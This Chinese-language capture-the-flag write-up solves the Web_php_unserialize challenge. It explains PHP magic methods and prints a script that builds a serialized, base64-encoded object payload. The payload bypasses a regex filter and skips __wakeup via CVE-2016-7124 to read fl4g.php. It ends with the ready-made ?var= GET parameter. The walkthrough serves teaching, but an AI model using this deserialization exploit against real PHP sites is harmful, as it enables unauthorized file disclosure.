打开页面源码

    类的传参和反序列化魔术方法脚本(攻防世界Web_php_unserialize) - 图1

    一行一行的解析:

    首先确定了一个类名叫Demo,里面三个php中的魔术方法

    类的传参和反序列化魔术方法脚本(攻防世界Web_php_unserialize) - 图2

    类的传参和反序列化魔术方法脚本(攻防世界Web_php_unserialize) - 图3

    也就是说,有一个私有变量$file=’index.php’

    • 在实例化类的时候回调用__construct($file):

    类的传参和反序列化魔术方法脚本(攻防世界Web_php_unserialize) - 图4

    • 在对象被销毁时都调用__destruct():

    类的传参和反序列化魔术方法脚本(攻防世界Web_php_unserialize) - 图5

    • 在调用序列化时调用__wakeup():

    类的传参和反序列化魔术方法脚本(攻防世界Web_php_unserialize) - 图6

    推荐一个本地运行的网站

    https://tool.lu/coderunner/

    <?php

    class Demo {

    private $file = ‘index.php’;

    public function __construct($file) {

    1. $this->file = $file;

    }

    function __destruct() {

    1. echo @highlight_file($this->file, true);

    }

    function __wakeup() {

    1. if ($this->file != 'index.php') {
    2. //the secret is in the fl4g.php
    3. $this->file = 'index.php';
    4. }

    }

    }

    $A = new Demo(‘fl4g.php’);

    $b = serialize($A);

    //string(49) “O:4:”Demo”:1:{s:10:”Demofile”;s:8:”fl4g.php”;}”

    $b = str_replace(‘O:4’, ‘O:+4’,$b);//绕过preg_match

    $b = str_replace(‘:1:’, ‘:2:’,$b);//绕过wakeup

    //string(49) “O:+4:”Demo”:2:{s:10:”Demofile”;s:8:”fl4g.php”;}”

    echo (base64_encode($b));

    //TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

    ?>

    • 用+4替换成4是为了绕过preg_match的正则表达式

    同样的把2替换成1是利用了CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

    最后按照题目的意思encode一下base64就获取反序列化的结果,get传参即可

    • ?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

    类的传参和反序列化魔术方法脚本(攻防世界Web_php_unserialize) - 图7